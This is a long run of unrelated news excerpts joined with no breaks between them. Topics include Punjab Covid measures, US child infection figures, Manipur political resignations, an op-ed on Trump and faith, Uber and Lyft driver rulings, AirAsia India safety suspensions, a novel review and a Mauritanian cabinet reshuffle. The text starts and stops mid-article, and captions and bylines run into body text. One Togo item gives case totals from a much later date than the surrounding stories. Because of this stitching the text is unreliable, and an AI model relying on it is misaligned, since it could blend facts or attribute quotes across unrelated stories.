Chief Minister further urged the Centre for immediate commencement of work on the newly sanctioned PGI Satellite Centre at Ferozepur. While of the three already sanctioned need medical colleges, Mohali Medical College will start classes this year, more such institutions were needed, said the Chief Minister, requesting for new colleges in the aspirational districts of Gurdaspur, Sangrur/Malerkotla, as well as Moga. Covid has shown that we need to strengthen public facilities in health, he added. Covid-19Giving an update on the Covid situation in the state, Captain Amarinder Singh said it had seen cases go up from 500 to 1000 in 2 weeks, with positivity rate of the last 5 days at 8.73%. The majority of cases were coming from Ludhiana, Jalandhar and Patiala cities, though cases were increasing in all districts, he added. The number of micro-containment zones was being increased in high incidence districts like Ludhiana, Patiala and Jalandhar, he said. To augment its fight against Covid, the state has opened two Plasma Banks (in Patiala and Amritsar), with another set to open soon at GMC Faridkot, the Chief Minister informed the meeting. Tolu Oniru-Demuren, Toolz Popular OAP, Tolu Oniru-Demuren aka Toolz has joined other Nigerians in condemning former Minister of Petroleum Resources, Diezani Alison-Madueke, over her statement about internet fraudsters becoming role models in Nigeria. Dieziani while delivering a lecturer last Friday, August 7, said Nigerian youths are beginning to emulate Yahoo Yahoo boys . A number of people called out the former Minister who is currently being tried for fraud allegedly perpetrated while she was in office, and Toolz has also weighed in. Taking to her Twitter handle, Toolz wrote; See normally I would laugh but this is so ridiculous. This lady must have lost her damn mind to come online and spew this nonsense. How are you different from a fraudster ma? She actually has no shame, which is sadly common for a lot of our (present and past) politicians. No shame at all! Crazy woman. When you guys are readywe will find space and start a new country. Since its world premiere at the Clermont-Ferrand festival in February, the Bonanza production has become a favourite choice at festivals across the globe Egyptian short film Henet Ward ("Ward's Henna Party") has scored again, director Morad Mostafa announced on Tuesday, winning the first prize at the Rhode Island International Film Festival, and thus gaining its second qualification card for the 2021 Oscars and Bafta nominations. "It's a long road. We have the whole year to earn the film's qualification by winning more awards from qualifying festivals," Mostafa explained to Ahram Online after winning "1st prize of Flickers International vision award at Rhode Island in its 24th year." This is the second important win for Henet Ward, after it received a special mention from the jury of the 2020 Palm Springs International Short Film Festival in June. "The most important thing at the moment is that we won. We are very thrilled," Mostafa said, sending congratulations and praises to his cast, crew and distributor. Since its world premiere at Clermont-Ferrand International Short Film Festival in February, the Bonanza production has become a favourite choice for various festivals across the globe, such as Cinalfama Lisbon, Not, Busan and many others. Tackling sensitive issues like poverty, racism and discrimination, the 23-minute film follows Halima, an Egypt-based Sudanese henna painter, and her young daughter, Ward, as they head to do a job at a party near the Giza pyramids. The former assistant director for many important names like Hala Khalil, Sherif El-Bendary, Mohamed Diab, Mostafa, and Ayten Amin in her 2020-Cannes-selected feature Souad, Mostafa is currently developing a new short film in collaboration with a French producer. The six-day Rhode Island International Film Festival wrapped up this week. The event is one of the largest public film festivals in New England and a qualifying event for the Academy of Motion Pictures Arts & Sciences (the Oscars), the British Academy of Television and Film Arts (the BAFTAs) and the Canadian Screen Awards. For more about Henet Ward, see this interview with Morad Mostafa. For more arts and culture news and updates, follow Ahram Online Arts and Culture on Twitter at @AhramOnlineArts and on Facebook at Ahram Online: Arts & Culture Search Keywords: Short link: The number of children being diagnosed with coronavirus soared by 90 per cent in four weeks while the number in hospital rose 70 per cent, new figures show. On July 9, there were 200,184 children who had been diagnosed with the virus in the US, the American Academy of Pediatrics reported, and 1,948 who were in hospital. But by August 8 those figures had risen to 380,174 cases and 3,276 in hospital, driven by a wave of infections that occurred as states tried to reopen. The figures will raise doubts over plans to reopen schools across the US in the fall, after Donald Trump claimed children were 'almost immune' to the virus. Cases of coronavirus among children in the US rose from 200,184 on Jul 9 to 380,174 on August 8, increasing by 97,000 in just two weeks The study looked at data from 49 states as well as Washington DC, Puerto Rico and Guam. Data for Texas, site of one of the largest outbreaks in the US, was unavailable. It found that cases among children had soared in recent weeks, rising by 97,000 in the last two weeks of July alone. The extra cases occurred mostly in the south and west of the US, which was hardest-hit by spikes which occurred as states tried to reopen following initial shutdowns. While the number of children being hospitalized with coronavirus remained a small proportion of cases - around 2.5 per cent - the figure rose as cases increased. The number of children dying from coronavirus also made up a very small percentage of hospitalizations - around 3 per cent - but showed the same trend, increasing as the number of cases went up. On July 9, 62 children had died from coronavirus, while on August 8 that figure had risen to 90, an increase of 45 per cent. While neither figure increased at the same rate as cases did, that is likely due to the fact that hospitalizations and deaths generally lag behind case spikes. The increase in both figures shows that opening schools is potentially harmful, if the risk of transmitting the disease is not properly mitigated. Some US schools have already rolled back their plans to reopen, after a high school in Georgia where students were pictured crammed into hallways without masks was hit by an outbreak. North Paulding High School, in Georgia, has reported nine new cases of coronavirus - six in children and four in teachers - after children were pictured crowding into a hallway The school, which reopened classes on August 3, has now been forced to partially roll-back plans for face-to-face classes while it deals with the outbreak Nine cases of the virus - three among teachers and six among students - were confirmed at North Paulding High School shortly after the photo was posted online. Students went back to classrooms at the school on August 3, but have now temporarily moved back to online learning. Hannah Watters, the student who posted the photo, was initially suspended before the suspension was later revoked. Donald Trump has been pushing for all US schools to reopen by fall at the latest, saying that keeping classes online is 'a terrible decision'. In an interview with Fox News last week, Trump falsely claimed that 'children are almost - and I would almost say definitely - but almost immune from this disease'. When a clip of the interview was posted on social media, it was taken down by Facebook and Twitter for spreading disinformation. The American Academy of Pediatrics, which produced the new report, has previously urged politicians to prioritize getting children back into school. But it warned that measures must be taken to safeguard their wellbeing, and school leaders must be ready to respond in the event of an outbreak. The number of global confirmed coronavirus infections passed 20million on Tuesday, with more than 5million of those in the US - the highest world total. The world has suffered at least 737,000 deaths from the virus, of which around 163,500 have occurred in America. Olivia Palermo challenged her 6.4million Instagram followers to get creative with their style during quarantine. And the fashion influencer is continuing to lead by example, as she continues to serve some stunning looks. She served goddess vibes Monday in a flowy red floral dress, as she took her dog Mr. Butler for a walk in Brooklyn, during a break from isolation. Goddess vibes: Olivia Palermo served goddess vibes Monday in a flowy red floral dress, as she took her dog Mr. Butler for a walk in Brooklyn, during a break from isolation The 34-year-old's ankle-length look featured spaghetti straps and ruffles draped diagonally down the waist. She finished the look ensemble with some clear mauve wayfarers and a pair of green floral velvet slippers. Palermo carried a woven straw purse with a royal blue ribbon-wrapped handle, hanging off her arm. She walked her Maltese on a retractable leash, showing off her fresh crimson manicure. Lady in red: The 34-year-old's ankle-length look featured spaghetti straps and ruffles draped diagonally down the waist Devil in the details: She finished the look ensemble with some clear mauve wayfarers and a pair of green floral velvet slippers Hands full: Palermo carried a woven straw purse with a royal blue ribbon-wrapped handle, hanging off her arm. She walked her Maltese on a retractable leash, showing off her fresh crimson manicure Staying safe: The City star took precautions against the coronavirus, as she kept her nose and mouth covered with a black face mask The City star took precautions against the coronavirus, as she kept her nose and mouth covered with a black face mask. She previously rocked a navy blue pantsuit over a black lace bra, as she returned to work amid the COVID-19 pandemic. Palermo captioned the look on Instagram: 'Back on set for the first time in six months!!! Things look a little different these days but happy to get the creative juices flowing. 'As always, its still all about the details like this #LaceLook. Great for a suit and bralette (but not a [face mask emoji])!' The socialite has been spending quarantine with husband and fellow influencer Johannes Huebl, 42, whom she married in 2014. Six Congress MLAs in Manipur have submitted their resignation to the speaker, party legislator O Henry Singh said on Tuesday. Photograph: Amit Dave/Reuters They are among the eight Congress MLAs who defied a party whip on Monday and skipped the one-day session of the assembly, in which the Bharatiya Janata Party-led N Biren Singh government won a facile vote of confidence. Besides Henry Singh who is an MLA from the Wangkhei assembly segment, the legislators who have resigned are Oinam Lukhoi of Wangoi, Md Abdul Nasir of Lilong, Paonam Brojen of Wangjing Tentha, Ngamthang Haokip of Saitu, and Ginsuanhau of Singhat, he said. They cited the lack of trust in the leadership of O Ibobi Singh and said that due to him, the Congress failed to form the government even when it was the single largest party in the state. They were summoned by Speaker Yumnam Khemchand Singh after the assembly session on Monday night and their resignation letters were verified, Henry Singh said. The resignations were yet to be accepted by the speaker, he added. Henry Singh said they will resign from the membership of the party later in the day. Though the government's victory in the vote of confidence was a foregone conclusion, the absence of the eight Congress MLAs from the crucial session showed some astute political manoeuvering by the chief minister. The 60-member House has an effective strength of 53, including the speaker, who had the casting vote he could have used in the event of a tie. Four members had been disqualified earlier and three of the BJP resigned sometime back. The ruling coalition had 29 MLAs, including the speaker, while the Congress had 24, of whom eight abstained. With this victory, Biren Singh, buffetted by a string of desertions in the party, appeared to have consolidated his grip on the ruling coalition which has 18 BJP MLAs, four each of National People's Party and Naga People's Front, one each of the Trinamool Congress, Lok Janshakti Party and an Independent. WASHINGTON Never has a politician accorded his opponent so much power. President Trump said that if former vice president Joe Biden won the White House, he would hurt God. Wow! What supernatural chops! Trump did not specify how exactly a mere mortal could hurt the Almighty, but he warns Biden would create a world of no religion, no anything. Hes against God, hes against guns, hes against energy, our kind of energy, said Trump. Yes, energy sources are now polarized between red and blue, and the Supreme Being is part of it. Trump, of course, has little understanding of religion, or much of a connection with faith. With no offense intended to elementary school students, Trump has a crude, fifth-grade understanding of the words and phrases that spur white, socially conservative voters to turn out for him, own the liberals and push back against the dreaded secularists and atheists. The dispiriting part is that this paint-by-the-numbers approach has worked for Trump. He continues to fare better among white evangelicals than in any other definable group in the electorate. Heres the good news: Trumps truly idiotic language and Bidens own faith open new opportunities to push back against forms of religious warfare that have done grave damage both to religion and to our politics. Trumps theology-free theology and his reduction of God to a political consultants role offer Biden, and progressives more generally, a large opening for reconciliation. Think of it as a Providential moment. Bidens initial response to Trumps bizarre salvo was promising. He issued a statement declaring that faith is the bedrock foundation of my life and declared that Trumps decision today to profane God and to smear my faith in a political attack is a stark reminder of what the stakes of this fight truly are. You might think Bidens response was a no-brainer, but Democrats have been increasingly reluctant to talk about faith because religion presents the party with an enormous coalition management problem. Fully 65% of Republicans are white Christians (49% Protestant and 16% Catholic), according to surveys by Public Religion Research Institute, but white Christians account for only 37% of Democrats. And fully 25% of Democrats are religiously unaffiliated. The movement away from religion is especially pronounced among younger Americans, with 40% or more declaring themselves unaffiliated. In 2016, Hillary Clintons campaign was divided over how she should approach religion. Strategists feared that if she spoke too much about her Methodist faith, she might turn off the younger and intensely secular voters she needed to get to the polls. The tragedy is that Clinton, a candidate whose authenticity was always being questioned, was at her authentic best when she was talking about how faith influenced her life and moved her toward more progressive political views, particularly on civil rights. The one time she truly let loose her inner preacher was during the South Carolina primary when she was inspired by her many visits to Black churches. Her experience speaks to a vicious cycle: The more religion is associated with right-wing politics, the more alienated from religion progressives become and the more inclined they are to dismiss religious people. But the more progressives do this, the easier they make it for right-wing politicians to cast liberals as hostile to faith and, reductio ad absurdum, as eager to hurt God. The price for religion is just as high. Those who insist that faith requires supporting Trump and opposing LGBTQ rights are closing off large categories of their fellow citizens to the possibility of dialogue and, yes, conversion. By devoting effort to ending the Catch-22 around religion, Biden would do more than prove he has no interest in hurting God. He could also help create a politics more worthy of a faith that sees the ability to love each other as central to salvation. Guinea-Bissau, a nation of of just over 1.6 million inhabitants located between Senegal to the north and Guinea to the east and south, has long been beset by instability, corruption and drug trafficking. Since it gained independence from Portugal in 1974 it has experienced four coup detats and more than a dozen attempted coups. PHOENIX Under pressure from a court order, Gov. Doug Ducey agreed Monday to provide a road map to eventually allow not just gyms and fitness centers to reopen but also movie theaters, water parks and some bars. In Southern Arizona, Cochise and Pima counties are both close to meeting the metrics for such reopenings, the states health director says. Under the plan, gyms and fitness centers could reopen at 25% capacity when the number of people testing positive for COVID-19 in a county drops below 10% of all tests for at least two weeks in a row. It also requires the rate of infection to be less than 100 cases per 100,000 residents and that fewer than 10% of those showing up at hospitals have COVID-like symptoms. At that same point, movie theaters, water parks and river tubing operations could operate at 50%. Any establishment licensed as a bar also could operate at 50% capacity, but only if it agrees to certain conditions. It would have to be operated like a restaurant, meaning no dancing, no milling around and mixing, and a requirement that hosts seat the patrons. Gyms and fitness centers could get back to half capacity when fewer than 5% of tests come back positive, the number of cases drops below 10 per 100,000, and fewer than 5% of hospital visits are COVID-related. And once the rate of positive tests drops below 3%, all businesses that have been restricted can reopen and operate the way they were before the pandemic except bars and nightclubs. Forget about going back to those for the time being and possibly through at least the end of the year. Dear editor, As a building and zoning director, every year Im concerned to see Illinois communities devastated by severe weather and flooding. It destroys our homes, businesses, schools and hospitals. In fact, flooding is now the costliest and most frequent natural disaster we face. As floods worsen, were going to need stronger infrastructure to keep us safe. A recent Pew poll found an overwhelming 85 percent of Americans want federally-funded projects located in flood-prone areas to be built to stronger standards. Congress is behind the curve and needs to enact tougher building standards to meet future flood risk, especially where public dollars are being spent. Buildings should be elevated, roads should be out of the floodway, culverts and sewers need to handle larger rainfalls and critical infrastructure like hospitals, fire stations and electrical substations have to be protected when floodwaters begin to rise. Research shows that every dollar spent on exceeding current building codes to better withstand flooding saves taxpayer money in the long run. It also creates more jobs, ensures faster economic recovery following a disaster and reduces hardships for communities who may already be struggling. Congress needs to act now to require federal investments in flood-prone areas be more resilient to future risks, including flooding and severe weather. Without action, we remain vulnerable and are putting peoples property, lives as well as whole communities at risk. We simply cannot afford to allow this pattern to continue. Dallas W. Alley, CFM, Village of Swansea Source: Xinhua| 2020-08-11 20:01:02|Editor: huaxia Video Player Close BANGKOK, Aug. 11 (Xinhua) -- An elephant stomped a man to death while he was collecting vegetables near his community in southern Thailand. The man was trampled to death on Tuesday by a domesticated elephant near a canal despite the elephant being tied to a tree in Nop Phi Tham district in Nakhon Si Thammarat, south Thailand. Police, medical staff and rescue workers called to the scene said the 61-year-old was found in dense grass alongside the canal. Medical staff said the victim suffered multiple broken bones. Police said they will find the owner of the elephant who will face legal action. Enditem Meghan Markle's first marriage failed because her hotshot TV producer husband 'didn't like that' she had found fame, her and Prince Harry's bombshell new biography Finding Freedom claims. The book, out today and co-authored by journalists Omid Scobie and Carolyn Durand, claims the Duchess of Sussex's first husband Trevor Engelson, 43, liked his actress wife to be 'dependent on him'. It suggests the American couple - who were married from 2011 to 2013 after seven years of dating - grew apart once Meghan 'found fame' in US legal drama Suits. Finding Freedom provides an intimately detailed and personalised version of the events leading up to the Sussexes' dramatic departure from royal life, with co-authors Scobie and Durand insisting 'all information in this book has at least two sources'. Finding Freedom, out today and co-authored by journalists Omid Scobie and Carolyn Durand, claims Meghan Markle's first husband Trevor Engelson (pictured together in 2011) liked his actress wife to be 'dependent on him' It suggests the American couple - who were married from 2011 to 2013 after seven years of dating - grew apart once Meghan 'found fame' in US legal drama Suits (pictured) According to the book, 23-year-old Meghan had fell for husband Trevor when he was an up-and-coming young producer whom The Hollywood Reporter named in its Top 35 Under 35 list in 2009. But despite dating for seven years, the pair were only married for 23 months because their marriage coincided with Meghan landing a starring role in Suits as paralegal Rachel Zane - shifting the power in their relationship, the authors claim. 'While they were still dating, Meghan wondered aloud to her closest friends why Trevor didnt always act as if he supported her acting career,' the authors write. 'She felt that he liked her being dependent on him. That was the dynamic of their relationship; Trevor was the dominant character. '"He was used to being the breadwinner, the one Meghan needed for introductions in the industry," said a friend of their early courtship.' Meghan, pictured in October 2019, is currently living in LA with her second husband Prince Harry, 35, and their son Archie, one The friend added that after Meghan landed her role in Suits, the dynamic of their relationship was changing, and Trevor 'didn't like that'. Meghan spending most of her time in Toronto, Canada, for filming while her partner stayed in the US also played a part in the decline of their marriage, according to the book. Carolyn Durand co-authored Finding Freedom with fellow royal expert Omid Scobie By 2013, their visits with one another had dwindled and Trevor attended the Oscars in February that year alone. He explained that he had only received one ticket, but the duchess apparently questioned if her husband didn't want to share the limelight. Six months later, the couple were divorced - just 23 months after their romantic wedding in Jamaica in September, 2011 in front of 100 family members and friends. Their marriage officially ended in 2014 with 'irreconcilable differences' cited in their divorce papers. Trevor has produced films including Robert Pattinson's 'Remember Me' and the Bradley Cooper-Sandra Bullock comedy 'All About Steve.' He has since moved on, however, marrying nutritionist Kurland, 33, on May 11 last year, almost exactly a year after Meghan and Prince Harry tied the knot. Trevor proposed to the multi-millionaire banker's daughter in June 2018 while on a tour of California's wine country after dating for a year. The couple celebrated their engagement with a bash in October that year held at a private home in the exclusive Hidden Hills, California. Trevor has remained incredibly tight-lipped about his marriage with the Duchess of Sussex. Meanwhile, Finding Freedom also claims Meghan 'fell hard' for her second husband Prince Harry after watching him win over best pal Jessica Mulroney's children gave her a glimpse of how he'd be as a father. Pictured, Prince Harry and Meghan Markle announcing their engagement in November 2017 The Duke of Sussex 'never turned up empty-handed' when they visited Jessica and Brian Mulroney and their twins Brian and John and daughter Ivy, pictured together, the book claims Meanwhile, Finding Freedom also claims Meghan 'fell hard' for her second husband Prince Harry after watching him win over best pal Jessica Mulroney's children gave her a glimpse of how he'd be as a father. The book claims the Duke of Sussex, 35, 'never turned up empty-handed' when they visited Jessica, her husband Ben and their children John, Brian and Ivy at their Toronto home. As well as his generosity, the trio of youngsters were charmed by Harry's willingness to get on the floor to play with them - something which also appealed to his future wife Meghan, 39. The fledgling couple spent time with the Mulroneys, part of the Canadian political dynasty, before their relationship was made public in 2016. The book claims Harry and Meghan 'hid out' at the family home when the news first broke. She has worked tirelessly for all Californians, he said in a statement. In her resignation letter, Dr. Angell who, early in the pandemic, spoke about the states efforts to identify disparities in the pandemics toll on Latino and Black communities in particular did not say why she was stepping down, effective immediately. Since January, when we got word of repatriation flights arriving from Wuhan, China, our department has been front and center in what has become an all-of-government response of unprecedented proportions to Covid-19, she said in an email to her staff. Not one of our staff has gone untouched by the changes that have occurred. Not in our professional lives or our personal lives. Dr. Angell added that she was proud to have served as the first Latina in the role, which she held for less than a year. She signed the note, In Solidarity. State officials said that Sandra Shewry, a veteran public health official, would be appointed as acting director of the department, while Dr. Erica Pan would take on the role of acting state public health officer. [Read about how public health officials have faced death threats in the pandemic.] The governor on Monday vowed to quickly overhaul what he described as the states outdated information technology systems, which he blamed for not just the testing data snafu, but also for a staggering backlog of unemployment claims. Were not going to just use this as an episodic issue Band-Aid this, he said. It took us decades to get into this place, but were now accountable. State officials have said that the data glitch didnt affect hospitalization numbers, which have been on the decline. Officials are alerting attendees at the Aug. 5 vigil for Oneida Castle homicide victim Tyler McBain of a potential coronavirus exposure. Anyone who attended the vigil at Veterans Memorial Playfield, Vets Field, between 8:30 and 9 p.m. should monitor for Covid-19 symptoms, the Madison County Health Department said in a press release. Symptoms might develop through Aug. 19, health officials said. The county health department said someone who attended the vigil is infected with Covid-19. That person was wearing a face mask while at the event, officials said. The vigil took place Aug. 5, the day after police officials say McBain, 21, was fatally shot inside an apartment. A suspect has been charged in the homicide. Health officials provided warnings to attendees of the vigil. They said symptoms of Covid- 19 infection could include fever, cough, chills, muscle pain, sore throat, new loss of taste or small, congestion or runny nose, nausea or vomiting, diarrhea, and inability to catch your breath. Officials recommend that anyone experiencing these symptoms stay home and call a doctor to find out whether they should get tested. Anyone who experiences emergency symptoms such as trouble breathing, pain or pressure in the chest, new confusion or trouble waking up, or bluish lips or face, should contact 911 and get medical help immediately. Health experts recommend preventing the spread of Covid-19 by maintaining a 6-foot distance from anyone not in your household, wearing a face covering and frequent hand washing. The Madison County Health Department emphasized wearing a mask that covers the nose and mouth when in public. For more information, visit https://www.madisoncounty.ny.gov/2479/Coronavirus-COVID-19. A California judge has ordered Uber and Lyft to classify their drivers as employees with benefits. The preliminary injunction issued on Monday blocks the two ride-hailing giants from classifying their drivers as independent contractors in California. The companies have ten days to appeal the decision. Both Uber and Lyft plan to file an appeal immediately, The Verge reports. In his ruling, California Superior Court Judge Ethan Schulman says the drivers do not perform work that is outside the usual course of the two companies business. Drivers are central, not tangential, to Uber and Lyfts entire ride-hailing business, he added. Uber and Lyft under pressure to alter their business models Uber and Lyft are facing yet another legal hurdle in California, their home state. The California Labor Commissioner had recently sued the two companies for willfully misclassifying their drivers as independent contractors rather than employees. This deprived them of basic worker protections and wages, the lawsuit argued. Advertisement Earlier in May, California Attorney General Xavier Becerra, along with city attorneys of Los Angeles, San Francisco, and San Diego, had also sued Uber and Lyft for this business model. They argued drivers should be classified as employees under the states AB5 law. The law, which came into effect on January 1st, determines if someone is a contractor or an employee through an ABC test. By classifying drivers as independent contractors, Uber and Lyft emancipate themselves from paying their drivers a minimum wage, overtime compensation, paid rest periods, and reimbursements for the cost of driving for the companies, including personal vehicle mileage. They are also depriving drivers of health insurance and other workers benefits. Several drivers groups have been long voicing against this business practice and theyre celebrating this decision. Todays ruling affirms what California drivers have long known to be true, said Mike Robinson, a Lyft driver. Workers like me have rights and Uber and Lyft must respect those rights. Advertisement Drivers want to work independently, the companies argue Both Uber and Lyft plan to appeal this ruling saying it conflicts with the desires of the majority of drivers. The companies argue that drivers do not want to be employees. Instead, they want to work independently as it gives them the flexibility of working as freelancers. When over 3 million Californians are without a job, our elected leaders should be focused on creating work, not trying to shut down an entire industry during an economic depression, an Uber spokesperson said. The company has already made several changes to its app since the AB5 law came into effect. It now allows drivers to set their own rates, a move that demonstrates the companys classification of drivers as independent contractors. Well immediately appeal this ruling and continue to fight for their independence, a Lyft spokesperson added. Ultimately, we believe this issue will be decided by California voters and that they will side with drivers. Uber and Lyft are backing a ballot measure that would allow state voters to override the AB5 law. The pandemic caused by the new coronavirus has already spread to 224 countries with 334.656.351 infected. The disease is caused by a new virus that had not been detected in humans until a few months ago. In Togo the figures released by the Ministry of Health record a total of 35.993, which marks an increase of 43 new cases compared to the previous day. Togo ranks 145 in countries with reported Covid-19 cases, the viral pneumonia that affects the planet. The list of the top ten is as follows: EE.UU. 68.385.419, India 37.896.011, Brazil 23.215.551, UK 15.399.300, France 14.739.297, Russia 10.865.512, Turkey 10.591.757, Italy 9.018.425, Spain 8.518.975 and Germany 8.140.341. In the last 24 hours, were reported 2 deaths and the number of fatalities adds up to 263. In contrast, it has been reported that 29.067 people have recovered in the country. The president Faure Essozimna Eyadema is closely monitoring the situation while the authorities continue to coordinate the actions of health personnel across the country. Recommendations to minimize the transmission of the infection can be found at the World Health Organization (WHO) Total infected New cases Total deaths Deaths in the last report Total recovered Total critical cases Togo 35.993 43 263 2 29.067 0 World 334.656.351 2.763.527 5.572.272 7.449 268.372.720 96.727 One of AirAsia India's former pilots, who runs a YouTube channel called Flying Beast, alleged violations of safety norms by low-cost airline New Delhi: Aviation regulator DGCA has suspended two senior executives of AirAsia India for a period of three months over "safety violations", said a senior official on Tuesday. When asked about it, the airline's spokesperson said, "AirAsia India acknowledges the receipt of the notice from DGCA last month and has complied with the directions of the regulator and appointed interim post holders in accordance with the regulator's directions." AirAsia India prioritises safety above all and it continues to engage with the authorities and exercise the option to appeal for redressal, the spokesperson added. In June this year, one of AirAsia India's former pilots -- who runs a YouTube channel called Flying Beast -- alleged violations of safety norms by the low-cost airline. "We had issued a show cause notice to two AirAsia India executives -- Head of Operations Manish Uppal and Head of Flight Safety Mukesh Nema -- in June only. It has been decided now to suspend them for a period of three months," the Directorate General of Civil Aviation (DGCA) official said. Captain Gaurav Taneja, a popular Youtuber, tweeted on June 14 that he has been suspended by AirAsia India "for standing up for safe operations of an aircraft and its passengers". On June 15, he posted a detailed video on YouTube titled "Reasons behind suspension from my pilot job". Taneja alleged in the video that the airline has asked its pilots to do 98 per cent of landings in "Flap 3" mode, which allows it to save fuel. He said if a pilot does not do 98 per cent of landings in "Flap 3" mode, the airline considers it a violation of its standard operating procedure (SOP). Flaps are part of wings of an aircraft and they are engaged to create a drag during a landing or a take-off. Taneja gave the example of the Imphal airport, where the plane descends more steeply as compared to other airports when approaching for landing. He said when an aircraft is coming down steeply, it needs to have a drag so that it remains slow, and in these circumstances a pilot has to do a "Flap full" landing. "In order to achieve targets, what would people do? They will do Flap 3 landings without giving consideration whether it is safe or unsafe. This directly impacts the passenger safety," he had claimed in his YouTube video. "If something happens during a Flap 3 landing, then the question would be asked to the pilot if he or she cares more about saving fuel or 180 passengers'' lives, Taneja had said. On June 15, the DGCA said on Twitter that it had taken note of the concerns raised by some stakeholders "against a particular airline and its approach to safety". "DGCA has already started an investigation into the issues flagged and shall take appropriate action based on the outcome of the said investigation," it added. Senior DGCA officials had confirmed on June 15 itself that AirAsia India was under investigation after Taneja's allegations. By Darin Strauss Random House. 315 pp. $27 - - - While reading Darin Strauss' new novel about Lucille Ball, the memories start rolling in faster than chocolates at the candy factory. Lucy stomping on the grapes! Lucy baking bread! Lucy mirroring Harpo Marx! Such reverie is more intoxicating than a tall glass of Vitameatavegamin. In our era of fractured audiences and time-shifted viewing, it's staggering to recall the immensity of Ball's presence in the 1950s. The vast majority of Americans who owned televisions watched "I Love Lucy" every week. So many people stayed stuck on their sofas during those hilarious 30 minutes that telephone calls and water usage dropped across the country. Marshall Field's gave up and closed early that night. And by rebroadcasting episodes to accommodate her pregnancy, Ball gave birth to TV reruns, ensuring that generations of people would fall in love with her. Indeed, for millions of us fans, Lucy's antics feel as familiar as our own family legends. For Strauss, Lucille Ball and family legend intersect in a very particular way. In 1966, Ball and Darin's grandfather, Isidore "Izzy" Strauss, happened to be guests at a ceremony on Coney Island. The real estate developer Fred Trump, our president's father, wanted everyone to see his demolition of Steeplechase Park. Celebrity guests were invited to throw bricks at the windows. Trump drove a bulldozer. According to a brief story in the New York Times, six young women wearing bikinis "stood in the bulldozer scoop and drank champagne toasts." After that orgy of destruction, Trump's plans for the Coney Island site failed - an uncanny preview of what his son would later do to America. For Strauss, though, the possibility that his grandfather might have met Lucille Ball served as a spark for this curious new novel. Much of Ball's adult life, including her transformation of the television industry, is recounted here. But if you want a biography of the comedian, look elsewhere. Strauss freely confesses in the afterword, "I changed a lot of facts." Like "Rodham," Curtis Sittenfeld's recent reimagining of the life of Hillary Clinton, "The Queen of Tuesday" is attentive to history but not bound by it. (And like Sittenfeld, Strauss imagines steamy details about his protagonist's sex life.) So much of what "The Queen of Tuesday" describes hews to the general outlines of our cultural memory that it's easy to elide Strauss' creative license, but the alterations start right on the title page: "I Love Lucy" ran on Mondays - not Tuesdays. Some readers will no doubt feel that Strauss has (BEGIN ITAL)got some 'splainin' to do(END ITAL). But if you give yourself over to his premise, "The Queen of Tuesday" is a striking exploration of how fame confounds the lives of prominent and obscure people. When the story opens, Ball's Hollywood days have sputtered out. Nearing 40, she's too old anyway. She thinks about crawling back to Upstate New York and just giving up on the biz - and on her philandering husband, Desi Arnaz. But she's got one more last-ditch scheme to save her career and her marriage: a TV comedy starring her and Desi. It's an impossible blend of ambition and romance, sure to fail and bankrupt them, too. But in that moment of nagging doubts, Strauss looks ahead to the show that will transform the industry and their lives: "They will make their ideas of marriage into the universal idea of marriage." Early in "The Queen of Tuesday," Strauss creates a brilliant glance-by-glance re-creation of the first broadcast episode of "I Love Lucy." We're right there in the studio, not just laughing with the audience but moving in Lucille's head, feeling the electric tension that's equally hilarious and terrifying. For a half-hour, all the doubts and resentments and hurts of her actual marriage must be papered over with the comic anxieties and sloppy affection of her TV marriage. "The theme song has finished," Strauss writes. "The ovation hasn't." People in the audience are dancing in the aisles. "Lucille closes her eyes. Her fantasy has quit humming 'round her head; it's now loose into the world." Strauss conjures up those heady days of "I Love Lucy" with such vibrancy that it's impossible not to hope that everything might work out after all. But of course, as America falls in love with the hilarious Ricardos, Lucille and Desi grow more alienated from each other. The pressure to appear infatuated only heightens her resentment and provokes more outlandish acts of betrayal from Desi. Perhaps no star has ever had to contend so powerfully, so constantly with her own fictional persona as Lucille Ball. Admittedly, this is well-trod celebrity gossip, though exceptionally well told. But what makes "The Queen of Tuesday" so peculiar and fascinating is the story that Strauss weaves through it about his grandfather, Izzy. In this fantastical plotline, Lucille and Izzy make contact only a handful of times, but during those secret trysts, they each become infatuated with something the other one offers. For America's most popular TV star, Izzy represents the delicious possibility of anonymity and total devotion. "His normality is what excites and frightens her," Strauss writes. But for Izzy, Lucille comes to represent something both invigorating and poisonous. Having experienced that red-haired bedazzlement, Strauss's grandfather returns home to find his own marriage and family insufferably drab. It's not fair, it's not kind, and Izzy knows it - and Strauss pursues his grandfather's moral torment through cycles of self-pity and self-reproach, acknowledging the man's pain just as clearly as he probes the man's weakness. "Isidore is too decent to blame his wife for his dissatisfaction," Strauss writes. "That's what he tells himself." If he were only a bit more of a cad, he'd have it easy. But he's stuck: just good enough to know how rotten he is. "He understands what having an affair means for people he cares about. It means he's making a choice to be recklessly disrespectful." What an impossibly daring premise for a novel - an act of almost Lucy-level audaciousness: to imagine that you could push your grandfather into the life story of the most famous comedian of the 20th century. Re-creating that TV legend in all her remarkable detail is essential, but not enough. What really keeps "The Queen of Tuesday" flying is that Strauss understands that the private romance enjoyed by the star and his grandfather is equally tragic and poignant. - - - Charles writes about books for The Washington Post and hosts TotallyHipVideoBookReview.com. Questo comunicato e stato pubblicato piu di 1 anno fa. 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DecisionDatabases.com is proficient in providing syndicated research report, customized research reports, company profiles and industry databases across multiple domains. Our expert research analysts have been trained to map clients research requirements to the correct research resource leading to a distinctive edge over its competitors. We provide intellectual, precise and meaningful data at a lightning speed. For more details: DecisionDatabases.com E-Mail: sales@decisiondatabases.com Phone: +91 9028057900 Web: https://www.decisiondatabases.com/ Across the states, the volume of mail balloting has been like nothing election officials have seen in comparable prior elections. Minnesota reported that about 645,000 absentee ballots had been requested as of Monday, compared with 34,660 in 2016 a tidal wave, according to Secretary of State Steve Simon. In Connecticut, the number was 300,000 a first in the state, which opened up mail balloting to all voters for the first time this year in response to the pandemic. Mauritania President Mohamed Ould Ghazouani announced a new cabinet shuffle on Sunday, in light of the release of a Parliamentary Enquiry report (CEP) into corruption during the previous presidential tenure. The new government was announced on Sunday, which includes 23 ministers, including eight new ministers. Prime minister Ismael O.Bedde O.Cheikh Sidiya was sacked and Ghazouani nominated Mohamed Ould Bilal in his place. This move is seen as a way for Ghazouani, who was elected last August, to distance himself from his predecessor, Mohamed Ould Abdelaziz, who hand-picked him to run for the top job. The report cited mismanagement and corruption by Ould Abdelaziz during his two terms, but also included ministers in the current cabinet. The report was devastating and a real watershed moment for Mauritania. It named names. It linked them to specific crimes. And it recommended that the perpetrators be prosecuted, according to a research note by Geoff D. Porter, the head of North Africa Risk Consulting (NARCO), and seen by RFI. NARCO s 